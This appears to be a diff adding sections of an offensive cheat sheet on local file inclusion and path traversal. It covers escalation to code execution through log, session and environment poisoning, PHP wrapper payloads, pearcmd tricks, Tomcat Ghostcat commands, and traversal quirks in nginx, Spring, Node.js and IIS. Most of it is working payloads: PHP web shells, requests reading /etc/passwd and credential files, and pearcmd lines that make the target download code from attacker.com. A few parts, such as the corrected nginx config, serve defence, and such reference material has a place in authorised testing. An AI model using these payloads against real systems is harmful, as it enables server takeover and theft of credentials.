405
+
406
+ ---
407
+
408
+ ## 16. LFI TO RCE — ESCALATION PATHS
409
+
410
+ ### 1. /proc/self/fd Brute-Force
411
+ ```
412
+ # When file upload exists but path is unknown:
413
+ # Uploaded files get temporary fd in /proc/self/fd/
414
+ # Brute-force fd numbers:
415
+ /proc/self/fd/0 through /proc/self/fd/255
416
+ # Include the temp file before it's cleaned up
417
+ ```
418
+
419
+ ### 2. /proc/self/environ Poisoning
420
+ ```
421
+ # If User-Agent is reflected in process environment:
422
+ GET /vuln.php?page=/proc/self/environ
423
+ User-Agent: <?php system($_GET['c']); ?>
424
+ ```
425
+
426
+ ### 3. Log Poisoning
427
+ ```
428
+ # Apache access log:
429
+ GET /<?php system($_GET['c']); ?> HTTP/1.1
430
+ # Then include: /var/log/apache2/access.log
431
+
432
+ # SSH auth log (username field):
433
+ ssh '<?php system($_GET["c"]); ?>'@target
434
+ # Then include: /var/log/auth.log
435
+
436
+ # Mail log (SMTP subject):
437
+ MAIL FROM:<attacker@evil.com>
438
+ RCPT TO:<victim@target.com>
439
+ DATA
440
+ Subject: <?php system($_GET['c']); ?>
441
+ .
442
+ # Then include: /var/log/mail.log
443
+ ```
444
+
445
+ ### 4. PHP Session File Poisoning
446
+ ```
447
+ # Set session variable to PHP code:
448
+ GET /page.php?lang=<?php system($_GET['c']); ?>
449
+ # Session file: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
450
+ # Include the session file
451
+ ```
452
+
453
+ ### 5. phpinfo() Assisted LFI
454
+ ```
455
+ # Race condition: upload via phpinfo() temp file
456
+ # 1. POST multipart file to phpinfo() page → reveals tmp_name (/tmp/phpXXXXXX)
457
+ # 2. Include the temp file before PHP cleans it up
458
+ # Requires many concurrent requests (race window ~10ms)
459
+ ```
460
+
461
+ ### 6. iconv CVE-2024-2961
462
+ ```
463
+ # glibc iconv buffer overflow in PHP filter chains
464
+ # Tool: cfreal/cnext-exploits
465
+ # Converts LFI to RCE without needing writable paths or log poisoning
466
+ ```
467
+
468
+ ---
469
+
470
+ ## 17. PHP WRAPPER EXPLOITATION MATRIX
471
+
472
+ ### php://filter (file read without execution)
473
+ ```
474
+ # Base64 encode source code:
475
+ php://filter/convert.base64-encode/resource=index.php
476
+
477
+ # ROT13:
478
+ php://filter/read=string.rot13/resource=index.php
479
+
480
+ # Chain multiple filters:
481
+ php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php
482
+
483
+ # Zlib compression:
484
+ php://filter/zlib.deflate/resource=index.php
485
+
486
+ # NEW: Filter chain RCE (synacktiv php_filter_chain_generator)
487
+ # Generates chains that write arbitrary content via iconv conversions
488
+ # Tool: synacktiv/php_filter_chain_generator
489
+ python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
490
+ # Produces: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp
491
+ ```
492
+
493
+ ### convert.iconv + dechunk Oracle (blind file read)
494
+ ```
495
+ # Error-based oracle: determine if first byte of file matches a character
496
+ # Tool: synacktiv/php_filter_chains_oracle_exploit
497
+ # Reads files byte-by-byte through error/behavior differences
498
+ ```
499
+
500
+ ### data:// Wrapper
501
+ ```
502
+ # Execute arbitrary PHP:
503
+ data://text/plain,<?php system('id'); ?>
504
+ data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
505
+
506
+ # Bypass when data:// is filtered but data: (without //) works:
507
+ data:text/plain,<?php system('id'); ?>
508
+ ```
509
+
510
+ ### expect:// Wrapper
511
+ ```
512
+ expect://id
513
+ expect://ls
514
+ # Requires expect extension (rare but check)
515
+ ```
516
+
517
+ ### php://input
518
+ ```
519
+ POST /vuln.php?page=php://input
520
+ Content-Type: application/x-www-form-urlencoded
521
+
522
+ <?php system('id'); ?>
523
+ ```
524
+
525
+ ### zip:// and phar:// Wrappers
526
+ ```
527
+ # zip://: Upload ZIP containing PHP file
528
+ zip:///tmp/upload.zip#shell.php
529
+
530
+ # phar://: Triggers deserialization of phar metadata!
531
+ phar:///tmp/upload.phar/anything
532
+ # Create malicious phar with crafted metadata object
533
+ # Can chain to RCE via POP gadget chains (like PHP deserialization)
534
+ # Phar can be disguised as JPG (polyglot phar-jpg)
535
+ ```
536
+
537
+ ### wrapwrap (prefix/suffix injection)
538
+ ```
539
+ # Tool: ambionics/wrapwrap
540
+ # Adds arbitrary prefix and suffix to file content via filter chains
541
+ # Useful for converting file read into XXE, SSRF, or deserialization trigger
542
+ ```
543
+
544
+ ---
545
+
546
+ ## 18. PEARCMD LFI TO RCE
547
+
548
+ When PEAR is installed and `register_argc_argv=On` (common in Docker PHP images):
549
+
550
+ ```
551
+ # Method 1: config-create (write arbitrary content to file)
552
+ GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php
553
+
554
+ # Method 2: man_dir (change docs directory to write path)
555
+ GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php
556
+
557
+ # Method 3: download (fetch remote file)
558
+ GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php
559
+
560
+ # Method 4: install (install remote package)
561
+ GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php
562
+ ```
563
+
564
+ ### Windows FindFirstFile Wildcard
565
+ ```
566
+ # Windows << and > wildcards in file paths:
567
+ # << matches any extension, > matches single char
568
+ include("php<<"); # Matches any .php* file
569
+ include("shel>"); # Matches shell.php if only 1 char follows
570
+ # Useful when exact filename is unknown
571
+ ```
572
+
573
+ ---
574
+
575
+ ## 19. PARAMETER NAMING PATTERNS & HIGH-FREQUENCY ENDPOINTS
576
+
577
+ ### Common Vulnerable Parameter Names
578
+ ```
579
+ filename filepath path file url
580
+ template page include dir document
581
+ folder root pg lang doc
582
+ conf data content name src
583
+ inputFile hdfile XFileName FileUrl readfile
584
+ ```
585
+
586
+ ### High-Frequency Vulnerable Endpoints
587
+ | Endpoint Pattern | Frequency |
588
+ |---|---|
589
+ | `down.php` / `download.php` | Very High |
590
+ | `download.jsp` / `download.do` | Very High |
591
+ | `download.asp` / `download.aspx` | High |
592
+ | `readfile.php` / `file.php` | High |
593
+ | `export` / `report` endpoints | Medium |
594
+ | `template` / `preview` endpoints | Medium |
595
+
596
+ ### Bypass Technique Distribution (from field research)
597
+ | Technique | Prevalence |
598
+ |---|---|
599
+ | Absolute path direct access | Most common |
600
+ | WEB-INF/web.xml read (Java) | Common |
601
+ | Base64 encoded path parameter | Moderate |
602
+ | Double URL encoding | Moderate |
603
+ | UTF-8 overlong encoding (`%c0%ae`) | Rare but effective |
604
+ | Null byte truncation (`%00`) | Legacy (PHP < 5.3.4) |
605
+
606
+ ---
607
+
608
+ ## 20. JAVA / SPRING PATH TRAVERSAL
609
+
610
+ ### Spring Resource Loading
611
+
612
+ ```java
613
+ // Vulnerable patterns — user input flows into resource path
614
+ ClassPathResource r = new ClassPathResource(userInput);
615
+ getClass().getResourceAsStream("/templates/" + userInput);
616
+ servletContext.getResourceAsStream("/WEB-INF/" + userInput);
617
+ ```
618
+
619
+ ```text
620
+ # Read WEB-INF deployment descriptor
621
+ GET /download?file=../WEB-INF/web.xml
622
+ GET /download?file=../WEB-INF/classes/application.properties
623
+ GET /download?file=../WEB-INF/classes/META-INF/persistence.xml
624
+
625
+ # Spring Boot specific
626
+ GET /download?file=../WEB-INF/classes/application.yml
627
+ GET /download?file=../WEB-INF/classes/bootstrap.properties
628
+ ```
629
+
630
+ ### High-value Java targets
631
+
632
+ ```text
633
+ /WEB-INF/web.xml ← servlet mappings, filter chains, security constraints
634
+ /WEB-INF/classes/application.properties ← DB creds, API keys, Spring config
635
+ /WEB-INF/classes/application.yml ← same, YAML format
636
+ /WEB-INF/lib/ ← application JARs (download for decompilation)
637
+ /META-INF/MANIFEST.MF ← build metadata, main class
638
+ /META-INF/context.xml ← Tomcat datasource definitions
639
+ ```
640
+
641
+ ### Spring MVC `ResourceHttpRequestHandler`
642
+
643
+ When static resources are served via `spring.resources.static-locations`:
644
+ ```text
645
+ GET /static/..%252f..%252fWEB-INF/web.xml
646
+ GET /static/..;/..;/WEB-INF/web.xml ← Tomcat path parameter normalization
647
+ ```
648
+
649
+ ---
650
+
651
+ ## 21. TOMCAT-SPECIFIC TRICKS
652
+
653
+ ### Path Parameter Normalization (`/..;/`)
654
+
655
+ Tomcat treats `;` as a path parameter delimiter and strips everything from `;` to the next `/` **before** path resolution, but upstream proxies or WAFs may not:
656
+
657
+ ```text
658
+ GET /app/..;/manager/html ← Tomcat resolves to /manager/html
659
+ GET /app/..;jsessionid=x/..;/WEB-INF/web.xml
660
+ ```
661
+
662
+ **WAF bypass chain**: reverse proxy sees `/app/..;/manager/html` as a path under `/app/` (allowed), but Tomcat normalizes `..;` to `..` and traverses up.
663
+
664
+ ### AJP Ghostcat (CVE-2020-1938)
665
+
666
+ Apache JServ Protocol (AJP, port 8009) exposed to the network allows arbitrary file read and JSP execution:
667
+
668
+ ```text
669
+ # Read any file through AJP
670
+ python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read
671
+
672
+ # Include attacker-controlled file as JSP for execution
673
+ python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" \
674
+ -H "javax.servlet.include.request_uri:/anything" \
675
+ -H "javax.servlet.include.servlet_path:/uploads/avatar.txt"
676
+ ```
677
+
678
+ **Conditions**: AJP connector on port 8009 reachable (default Tomcat, often not firewalled in Docker/internal). `secretRequired` unset prior to Tomcat 9.0.31.
679
+
680
+ ### Tomcat double-URL-decode
681
+
682
+ ```text
683
+ GET /%252e%252e/%252e%252e/etc/passwd
684
+ ```
685
+
686
+ ---
687
+
688
+ ## 22. NGINX ALIAS MISCONFIGURATION
689
+
690
+ ### The trailing-slash trap
691
+
692
+ ```nginx
693
+ # VULNERABLE — missing trailing slash on location
694
+ location /assets {
695
+ alias /data/;
696
+ }
697
+ ```
698
+
699
+ Nginx maps `/assets../etc/passwd` to `/data/../etc/passwd` to `/etc/passwd` because `alias` replaces the exact location prefix (`/assets`) with the alias path (`/data/`), and `../` in the remainder traverses out.
700
+
701
+ ```text
702
+ GET /assets../etc/passwd HTTP/1.1
703
+ GET /assets..%2f..%2fetc%2fpasswd HTTP/1.1
704
+ ```
705
+
706
+ **Correct configuration**:
707
+ ```nginx
708
+ location /assets/ {
709
+ alias /data/;
710
+ }
711
+ ```
712
+
713
+ ### Off-by-one in `location` + `alias`
714
+
715
+ ```nginx
716
+ location /img {
717
+ alias /var/images;
718
+ }
719
+ # /img../secret -> /var/images/../secret -> /var/secret
720
+ ```
721
+
722
+ Rule: when `alias` is used, the `location` prefix and the alias path must both end with `/`, or neither does.
723
+
724
+ ---
725
+
726
+ ## 23. NODE.JS PATH MODULE QUIRKS
727
+
728
+ ### `path.join()` with URL-encoded input
729
+
730
+ ```javascript
731
+ const path = require('path');
732
+
733
+ app.get('/files/:name', (req, res) => {
734
+ const filePath = path.join(__dirname, 'uploads', req.params.name);
735
+ res.sendFile(filePath);
736
+ });
737
+ ```
738
+
739
+ Express URL-decodes `req.params` before `path.join`:
740
+
741
+ ```text
742
+ GET /files/..%2f..%2f..%2fetc%2fpasswd
743
+ req.params.name = "../../../etc/passwd" (already decoded)
744
+ path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd
745
+ ```
746
+
747
+ ### `express.static()` quirks
748
+
749
+ - Calls `decodeURIComponent` on the path, then `path.normalize()`
750
+ - Double encoding (`%252e%252e%252f`) bypasses if middleware decodes once, then `express.static` decodes again
751
+ - Null bytes (`%00`) rejected in modern Node.js (v14+), but legacy versions may truncate
752
+
753
+ ### `url.parse()` vs `new URL()` confusion
754
+
755
+ ```javascript
756
+ // Legacy: url.parse() does NOT resolve path traversal
757
+ const parsed = require('url').parse(userInput);
758
+ // parsed.pathname may contain ../
759
+
760
+ // Modern: new URL() normalizes the path
761
+ const parsed = new URL(userInput, 'http://localhost');
762
+ // parsed.pathname has ../ resolved
763
+ ```
764
+
765
+ Apps mixing `url.parse()` and `path.join()` may allow traversal that `new URL()` would have normalized.
766
+
767
+ ---
768
+
769
+ ## 24. IIS SHORT FILENAME ENUMERATION (~1 TILDE TRICK)
770
+
771
+ ### Concept
772
+
773
+ Windows NTFS generates 8.3 short filenames (e.g., `LONGFI~1.TXT`). IIS responds differently for valid vs invalid short name prefixes.
774
+
775
+ ### Detection method
776
+
777
+ ```text
778
+ GET /W~1.ASP HTTP/1.1 -> 404 (name pattern valid)
779
+ GET /Z~1.ASP HTTP/1.1 -> 400 (bad request)
780
+ ```
781
+
782
+ Differential response leaks whether a file starting with that prefix exists.
783
+
784
+ ### Enumeration process
785
+
786
+ ```text
787
+ Step 1: /A~1* -> 404 = file starting with A exists
788
+ Step 2: /AB~1* -> 404 = file starting with AB exists
789
+ Step 3: /ABCDEF~1.A* -> 404 = extension starts with A
790
+ ```
791
+
792
+ ### Tools
793
+
794
+ ```bash
795
+ java -jar iis_shortname_scanner.jar https://target.com/
796
+ ```
797
+
798
+ ### Impact
799
+
800
+ - Discover hidden backups, config files, source code
801
+ - Shorter brute-force space: 8.3 format limits character set
802
+ - Works even when directory listing is disabled